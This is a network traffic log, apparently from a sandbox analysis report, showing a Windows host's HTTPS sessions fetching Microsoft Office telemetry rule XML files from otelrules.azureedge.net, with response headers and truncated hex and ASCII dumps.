2024-11-14 16:24:32 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:32 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:32 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 791f1328-601e-003e-45a7-343248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162432Z-r178fb8d7657w5c5hC1DFW5ngg00000002s000000000t08q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:32 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:32 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:32 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:32 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 3caab57d-601e-005c-6cd2-2cf06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162432Z-16547b76f7f2g4rlhC1DFWnx880000000kw0000000003t3p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:32 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:32 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:32 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:32 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 43524f19-601e-003e-07d2-2c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162432Z-16547b76f7fr28cchC1DFWnuws0000000m2000000000518r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:32 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:32 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:33 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:33 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 39ac7d1a-201e-0003-041e-36f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162433Z-r178fb8d765z89v7hC1DFW0kvw00000002n000000000fk6n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:33 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:33 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:33 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:33 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: c22da945-001e-00ad-15a1-36554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162433Z-16547b76f7fljddfhC1DFWeqbs00000000sg00000000w5xa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-14 16:24:33 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:33 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:33 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:33 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 40dd3742-a01e-0002-350c-365074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162433Z-1749fc9bdbddsfp5hC1DFWz2ng00000000mg00000000cvhc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-14 16:24:33 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:33 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:33 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:33 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 6b9ee1ab-f01e-0071-4fa1-34431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162433Z-1749fc9bdbdnkwnnhC1DFWud0400000002qg00000000drws x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:33 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:33 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:33 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:33 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: ddaecdfb-101e-0079-21d2-2c5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162433Z-16547b76f7fknvdnhC1DFWxnys0000000kzg000000005ke6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:33 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:33 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:34 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:33 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: ce92c93d-101e-008e-6ea0-34cf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162433Z-1749fc9bdbdhnf7rhC1DFWgd0n00000002qg00000000p6dh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:34 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:34 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:34 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:34 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 98909b4d-d01e-002b-39d2-2c25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162434Z-16547b76f7fj897nhC1DFWdwq40000000km000000000y4rf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:34 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:34 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:34 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:34 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 22a3ed20-101e-005a-80a7-36882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162434Z-1749fc9bdbddsfp5hC1DFWz2ng00000000pg000000004qec x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-14 16:24:34 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:34 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:34 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:34 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: a8f5521d-f01e-003f-49a0-34d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162434Z-r178fb8d765ljg7ghC1DFWfk4c00000002m000000000b817 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
